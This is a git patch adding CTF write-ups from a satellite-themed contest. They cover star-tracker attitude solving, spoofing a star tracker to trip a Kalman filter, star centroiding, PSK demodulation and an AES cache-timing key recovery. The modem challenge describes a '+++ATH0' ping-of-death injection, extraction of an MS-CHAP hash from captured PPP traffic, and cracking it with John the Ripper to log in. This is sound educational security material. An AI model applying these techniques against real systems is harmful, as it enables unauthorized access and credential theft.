From 06eb04e352b10f3dac65f7b8b9542b3910f69f23 Mon Sep 17 00:00:00 2001 From: Hazel Levine Date: Tue, 26 May 2020 14:47:06 -0400 Subject: [PATCH] fix leaky crypto formatting --- payload/leakycrypto/README.md | 13 +- writeup.org | 1566 +++++++++++++++++++++++++++++++++ 2 files changed, 1575 insertions(+), 4 deletions(-) create mode 100644 writeup.org diff --git a/payload/leakycrypto/README.md b/payload/leakycrypto/README.md index 42ed3ac..5c8c61b 100644 --- a/payload/leakycrypto/README.md +++ b/payload/leakycrypto/README.md @@ -17,9 +17,9 @@ Many optimized implementations of AES utilize lookup tables to combine all steps Many CPUs cache RAM accesses so as to speed up subsequent accesses to the same address. This is done because accessing RAM is quite slow, and accessing cache is quite fast. This behavior would imply that on systems which implement such caching methods, there is a correlation between the amount of time it takes to encrypt a particular plaintext and the occurrences of repeated values of a plaintext byte XORd with a key byte. Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte indexes, p being the plaintext, and families corresponding to which lookup table is being used), we calculate the average time to encrypt such a message over all messages. We then determine if for any pair of characters pi, pj there is a statistically significant shorter encryption time compared to the average. If so, we can conclude that i ⊕ ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set of redundant system of equations relating different key bytes at different indexes with each other. It is important to note that in order for this attack to work, we must know at least one key byte in each family in order to actually solve each system of equations. Additionally, due to how cache works, this attack only leaks the most significant q bits (q being related to the number of items in a cache line). Once the set of possible partial keys (accounting for the ambiguity in the least significant bits of each derived byte) has been obtained by the above method, an attacker may brute force the remaining unknown key bytes. -In the case of Leaky Crypto, a set of 100,000 plaintexts and corresponding encryption times is provided along with the first six bytes of the encryption key. We ran an analyzer program[^1] against these plaintexts to obtain the probable correlation between different indexes in the key with respect to the XOR product of those bytes with plaintext bytes. Per the above, the plaintexts and timing data provided enough information to derive the systems of equations which may be used to solve for key bytes, and the first 6 bytes of the key provided enough information to actually solve said systems of equations. Given the ambiguity of the low bits of each derived key byte, we obtained 214 partial keys with three unknown bytes each. Thus, we reduced the problem of guessing 2128 bits to guessing only 238 bits. +In the case of Leaky Crypto, a set of 100,000 plaintexts and corresponding encryption times is provided along with the first six bytes of the encryption key. We ran an analyzer program (see Full code) against these plaintexts to obtain the probable correlation between different indexes in the key with respect to the XOR product of those bytes with plaintext bytes. Per the above, the plaintexts and timing data provided enough information to derive the systems of equations which may be used to solve for key bytes, and the first 6 bytes of the key provided enough information to actually solve said systems of equations. Given the ambiguity of the low bits of each derived key byte, we obtained 214 partial keys with three unknown bytes each. Thus, we reduced the problem of guessing 2128 bits to guessing only 238 bits. -Since we only knew the most significant bits of most of the bytes in the key, we needed to use a candidate generator script[^2] in order to generate trial patterns, with the fully unknown bytes replaced with `??`. This was because we were using [Hulk](https://github.com/pgarba/Hulk) to brute force the keys, which did not support brute forcing the least significant bits of bytes, only fully unknown bytes. +Since we only knew the most significant bits of most of the bytes in the key, we needed to use a candidate generator script (see Full Code) in order to generate trial patterns, with the fully unknown bytes replaced with `??`. This was because we were using [Hulk](https://github.com/pgarba/Hulk) to brute force the keys, which did not support brute forcing the least significant bits of bytes, only fully unknown bytes. Since the given section of a flag is longer than 16 bytes, which is the size of an AES block, and the satellite is using Electronic Code Book mode, which means that all blocks are encrypted/decrypted separately, we could give hulk the first 16 bytes of the encrypted message as the ciphertext, the first 16 bytes of the flag as the expected plaintext, and then the key is all of the lines output from the `gen.py` script, which is the candidate generator script. @@ -31,8 +31,13 @@ Since the given section of a flag is longer than 16 bytes, which is the size of After 30 minutes had passed, we successfully brute forced the key, which could then be used to decrypt the rest of the flag. -[^1]: ```{.python include=attack.py} +### Full code +```{.python include=attack.py} ``` -[^2]: ```{.python include=gen.py} +```{.python include=gen.py} ``` + +## Resources and other writeups +- http://www.jbonneau.com/doc/BM06-CHES-aes_cache_timing.pdf +- https://github.com/pgarba/Hulk diff --git a/writeup.org b/writeup.org new file mode 100644 index 0000000..42fdf6c --- /dev/null +++ b/writeup.org @@ -0,0 +1,1566 @@ +\newpage +* Attitude Adjustment + :PROPERTIES: + :CUSTOM_ID: attitude-adjustment + :END: + +*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA +*Points (final)*: 69 points *Solves*: 62 + +#+BEGIN_QUOTE + Our star tracker has collected a set of boresight reference vectors, + and identified which stars in the catalog they correspond to. Compare + the included catalog and the identified boresight vectors to determine + what our current attitude is. + + Note: The catalog format is unit vector (X,Y,Z) in a celestial + reference frame and the magnitude (relative brightness) +#+END_QUOTE + +*Given files*: =attitude-papa21503yankee.tar.bz2= + +** Writeup + :PROPERTIES: + :CUSTOM_ID: writeup + :END: + +by [[https://imer.in][erin (=barzamin=)]]. + +For this problem, we have two sets of N vectors which are paired; all +points in the first set are just those in the second set up to rotation; +we want to find the rotation which maps the first set onto the other +one. Since we already know which point in the observation set maps to +which vector in the catalog set, we can use the +[[https://en.wikipedia.org/wiki/Kabsch_algorithm][Kabsch algorithm]] to +find the rotation matrix (note that this is called an /orthogonal +Procrustes problem/). I'd only vaguely heard of the Kabsch algorithm +before, and in the context of bioinformatics, so I didn't immediately +identify it as a good path to the solution. Instead, I just googled +"/align two sets of vectors/", for which it's the third result. + +Since nobody has time to implement computational geometry during a ctf, +I grabbed an existing Kabsch implementation. For some reason, I didn't +notice that =scipy.spatial= has +[[https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.transform.Rotation.align_vectors.html][a +Kabsch implementation]] built in, so I used some random external +project, [[https://github.com/charnley/rmsd][=rmsd=]]. + +First, load the star catalog: + +#+BEGIN_SRC python + catalog = {} + with open('./attitude-papa21503yankee/test.txt') as f: + i = 0 + for line in f: + [x, y, z, m] = [float(s.strip()) for s in line.split(',')] + catalog[i] = {'v': np.array([x,y,z]), 'm':m} + i += 1 +#+END_SRC + +Set up some helpers for parsing the output of the challenge server and +solving an orientation: + +#+BEGIN_SRC python + def parse_stars(stardata): + stars = {} + for line in stardata.strip().split('\n'): + line = line.strip() + star_id = int(line.split(':')[0].strip()) + direction = np.array([float(x) for x in line.split(':')[1].split(',\t')]) + stars[star_id] = direction + return stars + + def solve_orientation(stars, catalog): + P = np.vstack(list(stars.values())) + Q = np.vstack([catalog[i]['v'] for i in stars.keys()]) + print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q))) + rotation_mtx = calculate_rmsd.kabsch(P, Q) + rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) + return rotation +#+END_SRC + +Note that I threw in an inversion of the rotation matrix; this is +because I should've been aligning from the catalog /to/ the current star +locations. Switching P to be the catalog and Q to be stars would've done +the same thing. + +Then we just grabbed each challenge from the computer, aligned the sets, +and spat the orientation of the satellite back at the server: + +#+BEGIN_SRC python + TICKET = 'THE_TICKET' + r = tubes.remote.remote('attitude.satellitesabove.me', 5012) + r.send(TICKET+'\n') + time.sleep(0.5) + for _ in range(20): + r.recvuntil(b'--------------------------------------------------\n', drop=True) + stars = parse_stars(r.recv().decode()) + rotation = solve_orientation(stars, catalog) + r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') + time.sleep(0.1) + print(r.clean()) +#+END_SRC + +The flag should get printed out on stdout by the final line. + +*** Full code + :PROPERTIES: + :CUSTOM_ID: full-code + :END: + +#+BEGIN_SRC python + import numpy as np + from pwnlib import tubes + import time + import matplotlib.pyplot as plt + from rmsd import calculate_rmsd + from scipy.spatial.transform import Rotation + + catalog = {} + with open('./attitude-papa21503yankee/test.txt') as f: + i = 0 + for line in f: + [x, y, z, m] = [float(s.strip()) for s in line.split(',')] + catalog[i] = {'v': np.array([x,y,z]), 'm':m} + i += 1 + + def parse_stars(stardata): + stars = {} + for line in stardata.strip().split('\n'): + line = line.strip() + star_id = int(line.split(':')[0].strip()) + direction = np.array([float(x) for x in line.split(':')[1].split(',\t')]) + stars[star_id] = direction + return stars + + def solve_orientation(stars, catalog): + P = np.vstack(list(stars.values())) + Q = np.vstack([catalog[i]['v'] for i in stars.keys()]) + print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q))) + rotation_mtx = calculate_rmsd.kabsch(P, Q) + rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx)) + return rotation + + TICKET = 'THE_TICKET' + r = tubes.remote.remote('attitude.satellitesabove.me', 5012) + r.send(TICKET+'\n') + time.sleep(0.5) + for _ in range(20): + r.recvuntil(b'--------------------------------------------------\n', drop=True) + stars = parse_stars(r.recv().decode()) + rotation = solve_orientation(stars, catalog) + r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n') + time.sleep(0.1) + print(r.clean()) +#+END_SRC + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups + :END: + +- [[https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem]] +- [[https://en.wikipedia.org/wiki/Kabsch_algorithm]] +- [[https://github.com/charnley/rmsd/tree/master]] + +\newpage +* Digital Filters, Meh + :PROPERTIES: + :CUSTOM_ID: digital-filters-meh + :END: + +*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA +*Points (final)*: 104 points *Solves*: 37 + +#+BEGIN_QUOTE + Included is the simulation code for the attitude control loop for a + satellite in orbit. A code reviewer said I made a pretty big mistake + that could allow a star tracker to misbehave. Although my code is + flawless, I put in some checks to make sure the star tracker can't + misbehave anyways. + + Review the simulation I have running to see if a startracker can still + mess with my filter. Oh, and I'll be giving you the attitude of the + physical system as a quaternion, it would be too much work to figure + out where a star tracker is oriented from star coordinates, right? +#+END_QUOTE + +*Given files*: =src.tar.gz=. + +** Writeup + :PROPERTIES: + :CUSTOM_ID: writeup-1 + :END: + +by [[https://imer.in][erin (=barzamin=)]]. + +As part of this challenge, we're given a file =src.tar.gz= by the +scoreboard. This contains Octave code which simulates the satellite +kinetics and control loop, and, presumably, is what's running on the +challenge server. + +Digging into the main file, =challenge.m=, we note a few interesting +things. The satellite is running a Kalman filter on the gyroscope data +(velocity and acceleration) and star tracker orientation data. Near the +start of each control system iteration, there's a check on the Kalman +filter error; if greater than a threshold, the controller crashes out: + +#+BEGIN_SRC matlab + % Check error bounds + if max(abs(err)) > err_thresh + disp("Error: Estimator error too large... Goodbye"); + disp(q_est); + disp(target.q_att); + break; + endif +#+END_SRC + +Note =err_thresh= is defined upscript as + +#+BEGIN_SRC matlab + err_thresh = 1*pi/180. ; % 1 Degree error max +#+END_SRC + +Further down, we see that a PID update step on for the correction is +only run every five iterations; this is weird, but doesn't help us as +far as we could tell. Even further downscript, we see that every +iteration, a check is performed between target and actual orientations +(note that /actual orientation/ means, here, the true simulated physical +pose of the satellite): + +#+BEGIN_SRC matlab + % Check we're still safe... + [v,a] = q2rot(quat_diff(actual.q_att, target.q_att)); + if abs(v(2)*a) > (pi/8) + disp("Uh oh, better provide some information!"); + disp(getenv("FLAG")) + break; + endif +#+END_SRC + +If this check is true (ie, there's >π/8 radians of rotation error on the +Y axis), we get the flag! So the challenge here is making the satellite +think it's drifted when it hasn't, without making the Kalman filter +angry. How can we do that? + +The star filter observations are pulled right after the previous check, +with the following code: + +#+BEGIN_SRC matlab + % Get Observations + q_att = startracker(actual); +#+END_SRC + +Looking inside =startracker()=, we see that it pretty clearly indicates +that we /are/ the star tracker; every timestep, the code tells us, the +adversary, what the true physical orientation is as a quaternion. We can +act as the star tracker and send back a wxyz-format quaternion on stdin, +which it will use as the star-tracker output (note that, for some +reason, the code they give us uses space-separated floats and the actual +challenge uses comma-separated floats): + +#+BEGIN_SRC matlab + % Model must have a q_att member + + function [ q ] = startracker(model) + q = model.q_att; + disp([q.w, q.x, q.y, q.z]); + fflush(stdout); + % Get Input + q = zeros(4,1); + for i = 1:4 + q(i) = scanf("%f", "C"); + endfor + q = quaternion(q(1), q(2), q(3), q(4)); + %q.w = q.w + normrnd(0, 1e-8); + %q.x = q.x + normrnd(0, 1e-8); + %q.y = q.y + normrnd(0, 1e-8); + %q.z = q.z + normrnd(0, 1e-8); + + q = q./norm(q); + + endfunction +#+END_SRC + +Also note that in =challenge.m=, immediately after the star tracker +call, checking the return value for consistency with the physical model +is /commented out/. We can tell the satellite that it's pointing +anywhere we like and it will believe us, although Kalman error might be +bad: + +#+BEGIN_SRC matlab + %err = quat2eul(quat_diff(q_att, target.q_att))'; + %if max(abs(err)) > err_thresh + % disp("Error: No way, you are clearly lost, Star Tracker!"); + % break; + %endif +#+END_SRC + +So we control the star tracker. What can we do? + +We immediately noticed the vast count of =eul2quat()= and =quat2eul()= +calls and wasted so much time trying to get something to gimbal lock. +Turns out this problem is deceptively easy, and you don't need to do +that at all. + +We can't make the discrepancy between the true position and what the +star tracker says too great, nor make it vary quickly; the gyroscope is +reporting gaussian noise close to zero with very low variance, so any +big delta in star tracker orientation will incur error in the Kalman +filter. So what can we do? + +Turns out all we have to do hold the Y orientation constant and report +that. The satellite's true Y euler angle gradually rotates over time due +to system dynamics, accumulating controller error on the Y axis, and we +eventually get the flag. + +Hook up to the server: + +#+BEGIN_SRC python + sep = ',' + r = remote('filter.satellitesabove.me', 5014) + r.clean() + r.send('THE_TICKET') + time.sleep(0.1) +#+END_SRC + +Write a little function that pretends to be the star tracker (note: +=lie= was determined by playing with the local simulator a bunch): + +#+BEGIN_SRC python + def adversary(true_pose): + lie = 0.25 + + euler = true_pose.as_euler('xyz') + euler[1] = lie + + return R.from_euler('xyz',euler) +#+END_SRC + +And talk to the server, pretending to be the tracker every indication, +until we see a string indicating we got the flag: + +#+BEGIN_SRC python + while True: + rl = r.readline(timeout=3) + if rl.startswith(b'Uh oh,'): + r.interactive() + log.info(f'<== [{i}] {rl}') + + [w,x,y,z] = [float(x) for x in rl.decode().strip().split()] + true_pose = R.from_quat([x,y,z,w]) + + new_pose = adversary(true_pose) + + [x,y,z,w] = new_pose.as_quat() + msg = sep.join(map(str,[w,x,y,z])) + log.info(f'==> {msg}') + r.send(msg+'\n') +#+END_SRC + +When we see that string, the script jumps to =pwnlib.tubes=' interactive +mode and we see the flag in the dumped buffer. + +*** Full code + :PROPERTIES: + :CUSTOM_ID: full-code-1 + :END: + +#+BEGIN_SRC python + import numpy as np + import matplotlib.pyplot as plt + from pwn import * + from scipy.spatial.transform import Rotation as R + import time + + q_att_ts = [] + badnesses = [] + + LOCAL = False + + if LOCAL: + sep = ' ' + r = process('octave challenge.m', shell=True) + else: + sep = ',' + r = remote('filter.satellitesabove.me', 5014) + r.clean() + r.send('THE_TICKET') + time.sleep(0.1) + + def adversary(true_pose): + lie = 0.25 + + euler = true_pose.as_euler('xyz') + euler[1] = lie + + return R.from_euler('xyz',euler) + + + for i in range(10000): + if LOCAL: + badness = float(r.readline().decode().strip()) + log.info(f'[!] badness: {badness}') + badnesses.append(badness) + + rl = r.readline(timeout=3) + if rl.startswith(b'Uh oh,'): + r.interactive() + log.info(f'<== [{i}] {rl}') + + [w,x,y,z] = [float(x) for x in rl.decode().strip().split()] + true_pose = R.from_quat([x,y,z,w]) + + new_pose = adversary(true_pose) + + [x,y,z,w] = new_pose.as_quat() + msg = sep.join(map(str,[w,x,y,z])) + log.info(f'==> {msg}') + r.send(msg+'\n') +#+END_SRC + +\newpage +* Seeing Stars + :PROPERTIES: + :CUSTOM_ID: seeing-stars + :END: + +*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA +*Points (final)*: 23 *Solves*: 213 + +#+BEGIN_QUOTE + Here is the output from a CCD Camera from a star tracker, identify as + many stars as you can! (in image reference coordinates) Note: The + camera prints pixels in the following order (x,y): (0,0), (1,0), + (2,0)... (0,1), (1,1), (2,1)... + + Note that top left corner is (0,0) +#+END_QUOTE + +** Write-up + :PROPERTIES: + :CUSTOM_ID: write-up + :END: + +by [[https://qtp2t.club/][hazel (=arcetera=)]] + +The CCD image given by the netcat is a 128x128 matrix of comma-separated +values. + +We read the data into a NumPy array, and pass that into OpenCV. + +#+BEGIN_SRC python + data = [] + for line in rawdat.strip().split('\n'): + data.append([int(x) for x in line.split(',')]) + + x = np.array(data, dtype='uint8').T + + im = x +#+END_SRC + +We then run a filter on the data, only grabbing values in [127, 255] to +filter out data that is /obviously not/ stars. We then run two dilates +on the image post-filter, because otherwise we end up with a division by +zero on centroid finding later for =M["m00"]=. Finally, we grabbed the +contour of every object visible in the image. + +#+BEGIN_SRC python + ret, thresh = cv2.threshold(im.copy(), 127, 255, 0) + kernel = np.ones((5, 5), np.uint8) + dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2) + + cnts, hier = cv2.findContours(dilated.copy(), \ + cv2.RETR_TREE, \ + cv2.CHAIN_APPROX_NONE) +#+END_SRC + +For each contour, we grabbed its centroid: + +#+BEGIN_SRC python + solve = '' + for c in cnts: + M = cv2.moments(c) + cX = int(M["m10"] / M["m00"]) + cY = int(M["m01"] / M["m00"]) + + solve += (str(cX) + "," + str(cY)+'\n') + return solve +#+END_SRC + +We then automated this entire process using pwnlib to connect to the +server and read the data. + +*** Full code + :PROPERTIES: + :CUSTOM_ID: full-code-2 + :END: + +#+BEGIN_SRC python + #!/usr/bin/env python3 + import cv2 + import math + import numpy as np + from pwnlib import tubes + import time + + def solve(rawdat): + data = [] + for line in rawdat.strip().split('\n'): + data.append([int(x) for x in line.split(',')]) + + x = np.array(data, dtype='uint8').T + + im = x # cv2.imread("output.png", cv2.IMREAD_GRAYSCALE) + ret, thresh = cv2.threshold(im.copy(), 127, 255, 0) + kernel = np.ones((5, 5), np.uint8) + dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2) + + cnts, hier = cv2.findContours(dilated.copy(), \ + cv2.RETR_TREE, \ + cv2.CHAIN_APPROX_NONE) + + edit = thresh.copy() + cv2.drawContours(edit, cnts, -1, (0, 255, 0), 3) + + solve = '' + for c in cnts: + M = cv2.moments(c) + cX = int(M["m10"] / M["m00"]) + cY = int(M["m01"] / M["m00"]) + + solve += (str(cX) + "," + str(cY)+'\n') + return solve + + TICKET = 'THE_TICKET' + r = tubes.remote.remote('stars.satellitesabove.me', 5013) + r.recvline() + r.send(TICKET+'\n') + going = True + while going: + rawdat = r.recvuntil('Enter', drop=True) + time.sleep(0.5) + r.clean() + solution = solve(rawdat.decode()) + r.send(solution+'\n') + time.sleep(0.1) + if r.recvuntil('Left...\n') == b'0 Left...\n': + time.sleep(0.1) + print(r.clean()) +#+END_SRC + +Run it, and the flag should be printed as a bytestring. + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups-1 + :END: + +- [[https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html]] +- [[https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html]] + +\newpage +* 56K Flex Magic + :PROPERTIES: + :CUSTOM_ID: k-flex-magic + :END: + +*Category:* Communication Systems *Points (final):* 205 *Solves:* 13 + +#+BEGIN_QUOTE + Anyone out there speak modem anymore? We were able to listen in to on, + maybe you can ask it for a flag... + + UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the + ground station is expected behavior. +#+END_QUOTE + +** Write-up + :PROPERTIES: + :CUSTOM_ID: write-up-1 + :END: + +by [[https://awoo.systems][haskal]] + +An audio file is included that contains a session where a number is +dialed, and then some modem data is exchanged (it's a very distinctive +sound). Additionally, there is a note included with the following text. + +#+BEGIN_EXAMPLE + ---=== MY SERVER ===--- + Phone #: 275-555-0143 + Username: hax + Password: hunter2 + + * Modem implements a (very small) subset of 'Basic' commands as + described in the ITU-T V.250 spec (Table I.2) + + ---=== THEIR SERVER ===--- + + Ground station IP: 93.184.216.34 + Ground station Phone #: 458-XXX-XXXX ...? + Username: ? + Password: ? + + * They use the same model of modem as mine... could use +++ATH0 + ping of death + * It'll have an interactive login similar to my server + * Their official password policy: minimum requirements of + FIPS112 (probably just numeric) + * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137' +#+END_EXAMPLE + +ITU-T V.250 is essentially a formalization of the +[[https://en.wikipedia.org/wiki/Hayes_command_set][Hayes command set]], +so we can use basic Hayes commands to interact with our local modem, +such as + +#+BEGIN_EXAMPLE + ATDTXXXXXXXXXX - dial number XXX... + ATH0 - hang up + +++ - get the local modem's attention while in a remote session +#+END_EXAMPLE + +The first step is to try to get information about the ground station +server. We can decode the dial tones from the audio file, which are +[[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling][DTMF]] +tones. Once decoded we obtain a phone number for the ground station of +=458-555-0142=. However dialing this number results in an error - +=BUSY=. Presumably, the ground station is already dialed into somewhere, +and we need to disconnect it. + +The "ping of death" refers to injecting a modem command into a packet +sent to a remote server in order to cause the server's modem to +interpret a hang up command contained in the packet. This can be +achieved by pinging with the data =+++ATH0=, because as the server +replies to the ping with the same data, its local modem will interpret +the command inside the ping. But we need to escape it with hex to avoid +having our local modem hang up instead. Once in the session, we dial the +number in the text file to get an initial shell session + +#+BEGIN_EXAMPLE + ATDT2755550143 +#+END_EXAMPLE + +Next, issue a ping of death to the provided server IP + +#+BEGIN_SRC sh + ping -v 0x2b2b2b415448290d 93.184.216.34 +#+END_SRC + +Now the ground station should be disconnected so it is available for us +to dial. + +#+BEGIN_EXAMPLE + +++ATH0 + ATDT45845550142 +#+END_EXAMPLE + +We get a login prompt for SATNET + +#+BEGIN_EXAMPLE + * * . * * * . * * . * * . + . * * . * . . * . * + * +------------------------------+ + . | SATNET | * + +------------------------------+ . + . | UNAUTHORIZED ACCESS IS | + | STRICTLY PROHIBITED | + . +------------------------------+ . + . . + . + + Setting up - this will take a while... + + LOGIN + Username: +#+END_EXAMPLE + +However we still need the username and password. Maybe the provided +audio file has the credentials somewhere in the dialup modem exchange. +By analyzing the spectrum in Audacity (or any analyzer of choice) we +discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. +This is consistent with the +[[https://www.itu.int/rec/T-REC-V.21-198811-I/en][ITU V.21 standard]] +which uses dual-channel Frequency Shift Keying at 300 bits/second. We +can use [[https://github.com/kamalmostafa/minimodem][minimodem]] to +decode the modem traffic. We can provide the two FSK frequencies (the +"mark" and "space", representing each bit of the data) for channel 1 and +then for channel 2 to get both sides of the exchange. We also need to +provide the bit rate. + +#+BEGIN_SRC sh + minimodem -8 -S 980 -M 1180 -f recording.wav 300 + minimodem -8 -S 1650 -M 1850 -f recording.wav 300 +#+END_SRC + +This data looks like garbage but it contains some strings, notably +=rocketman2674=. We assume from the notes file that the password is a +4-digit number, but trying the username =rocketman= and password =2674= +didn't work. We need to look closer. This is the beginning of one side +of the exchange in hex: + +#+BEGIN_EXAMPLE + 00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}" + 00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(. + 00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.} + 00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&} + 00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!} +#+END_EXAMPLE + +It starts with =7eff=, which is characteristic of +[[https://en.wikipedia.org/wiki/Point-to-Point_Protocol][Point-to-Point +Protocol]]. We can decode the packets with +[[https://github.com/secdev/scapy][scapy]], a framework for network +protocol analysis. However, first we have to de-frame the PPP frames +since there doesn't seem to be a tool for this automatically. There are +two main tasks, first split up the frames by the =7e= delimiters, and +then remove the byte stuffing within the frame, since PPP will escape +certain bytes with the =7d= prefix followed by the byte XOR =0x20=. +Finally, the frame can be passed to scapy for analysis. This is a VERY +lax de-framer because sometimes frames seemed to not be started or +terminated properly. + +#+BEGIN_SRC python + def decode(ch): + buf2 = b"" + esc = False + + for x in ch: + if x == 0x7e: + if buf2 != b"\xFF" and buf2 != b"": + PPP(buf2).show() + buf2 = b"" + esc = False + elif esc: + esc = False + buf2 += bytes([x^0x20]) + elif x == 0x7d: + esc = True + else: + buf2 += bytes([x]) + + if len(buf2) > 0: + PPP(buf2).show() +#+END_SRC + +(This code is really awful CTF code, please ignore the 200 awful +spaghetti things I'm doing in this snippet.) + +Now we can see what the packets mean. In particular, we spot these ones: + +#+BEGIN_EXAMPLE + ###[ HDLC ]### + address = 0xff + control = 0x3 + ###[ PPP Link Layer ]### + proto = Link Control Protocol + ###[ PPP Link Control Protocol ]### + code = Configure-Ack + id = 0x2 + len = 28 + \options \ + ..... + |###[ PPP LCP Option ]### + | type = Authentication-protocol + | len = 5 + | auth_protocol= Challenge-response authentication protocol + | algorithm = MS-CHAP + ..... + + ###[ PPP Link Layer ]### + proto = Challenge Handshake Authentication Protocol + ###[ PPP Challenge Handshake Authentication Protocol ]### + code = Response + id = 0x0 + len = 67 + value_size= 49 + value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760 + 2e9831310b56924f3428b05ad60c7a2b401 + optional_name= 'rocketman2674' +#+END_EXAMPLE + +and + +#+BEGIN_EXAMPLE + ###[ PPP Link Layer ]### + proto = Challenge Handshake Authentication Protocol + ###[ PPP Challenge Handshake Authentication Protocol ]### + code = Challenge + id = 0x0 + len = 26 + value_size= 8 + value = 12810ab88c7f1c74 + optional_name= 'GRNDSTTNA8F6C' + + ###[ PPP Link Layer ]### + proto = Challenge Handshake Authentication Protocol + ###[ PPP Challenge Handshake Authentication Protocol ]### + code = Success + id = 0x0 + len = 4 + data = '' +#+END_EXAMPLE + +We can see in this exchange that the client has negotiated =MS-CHAP= +authentication and then authenticates to the server successfully. +MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just +need the username (=rocketman2674=), the "challenge" which is used as a +salt for the hash, and the hash itself. The format of the response in +MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff +we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We +can now convert the data into a +[[https://www.openwall.com/john/][John-the-Ripper]] compatible hash like + +#+BEGIN_EXAMPLE + username:$NETNTLM$challenge$hash + + rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4 +#+END_EXAMPLE + +Technically, you can use hashcat as well but I didn't want to bother +with the hashcat flags. Put this hash in a text file and run +=john file.txt=. No need to specify 4 digit pins because john will +complete in literal seconds anyway. + +#+BEGIN_EXAMPLE + Proceeding with incremental:ASCII + 9435 (rocketman2674) + 1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4 + Use the "--show --format=netntlm" options to display all of the cracked passwords reliably + Session completed +#+END_EXAMPLE + +Use =rocketman2674= with password =9435= to log in to the ground +station, then execute the =flag= command to get the flag. + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups-2 + :END: + +- [[https://en.wikipedia.org/wiki/Hayes_command_set]] +- [[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling]] +- [[https://github.com/kamalmostafa/minimodem]] +- [[https://en.wikipedia.org/wiki/Point-to-Point_Protocol]] +- [[https://tools.ietf.org/html/rfc2433]] +- [[https://www.openwall.com/john/]] + +\newpage +* Phasors to Stun + :PROPERTIES: + :CUSTOM_ID: phasors-to-stun + :END: + +*Category:* Ground Segment *Points (final):* 62 *Solves:* 71 + +#+BEGIN_QUOTE + Demodulate the data from an SDR capture and you will find a flag. It + is a wav file, but that doesn't mean its audio data. +#+END_QUOTE + +** Write-up + :PROPERTIES: + :CUSTOM_ID: write-up-2 + :END: + +by [[https://awoo.systems][haskal]] + +The provided WAV file contains a signal that looks like this: + +[[file:signal.png]] + +This looks suspiciously like Phase Shift Keying (PSK) and it's a very +clean signal (this is also hinted at by the challenge name). We can use +[[https://github.com/jopohl/urh][Universal Radio Hacker]] to demod this +with very little effort. + +[[file:urh1.png]] + +Select PSK modulation, then click "Autodetect parameters". Then move to +Analysis: + +[[file:urh2.png]] + +We discovered that the signal is NRZI (non-return-to-zero inverted) +coded, and after selecting this in URH the flag is decoded in the data +view. + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups-3 + :END: + +- [[https://github.com/jopohl/urh]] +- [[https://en.wikipedia.org/wiki/Phase-shift_keying]] +- [[https://en.wikipedia.org/wiki/Non-return-to-zero#NRZI]] + +\newpage +** Leaky Crypto + :PROPERTIES: + :CUSTOM_ID: leaky-crypto + :END: + +Many optimized implementations of AES utilize lookup tables to combine +all steps of each round of the algorithm (SubBytes, ShiftRows, +MixColumns, AddKey) into a single operation. For some X (the plaintext +or the result from the previous round) and some K (the round key), they +are split bytewise and the XOR product of each respective byte pair is +used as the index into a lookup table. During the first round of AES, X +is the plaintext of the message, and K is the original message key. +Accordingly, given some known plaintext, leaking the index into the +lookup table for a particular character leaks the corresponding key +byte. There are four lookup tables which are used in each iteration of +AES (besides the last round) and which is used is determined by the +index of the byte MOD 4. We utilized +[[http://www.jbonneau.com/doc/BM06-CHES-aes_cache_timing.pdf][this +paper]] as a reference for both our understanding of AES and the attack +we will detail below. + +Many CPUs cache RAM accesses so as to speed up subsequent accesses to +the same address. This is done because accessing RAM is quite slow, and +accessing cache is quite fast. This behavior would imply that on systems +which implement such caching methods, there is a correlation between the +amount of time it takes to encrypt a particular plaintext and the +occurrences of repeated values of a plaintext byte XORd with a key byte. +Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte +indexes, p being the plaintext, and families corresponding to which +lookup table is being used), we calculate the average time to encrypt +such a message over all messages. We then determine if for any pair of +characters pi, pj there is a statistically significant shorter +encryption time compared to the average. If so, we can conclude that i ⊕ +ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set +of redundant system of equations relating different key bytes at +different indexes with each other. It is important to note that in order +for this attack to work, we must know at least one key byte in each +family in order to actually solve each system of equations. +Additionally, due to how cache works, this attack only leaks the most +significant q bits (q being related to the number of items in a cache 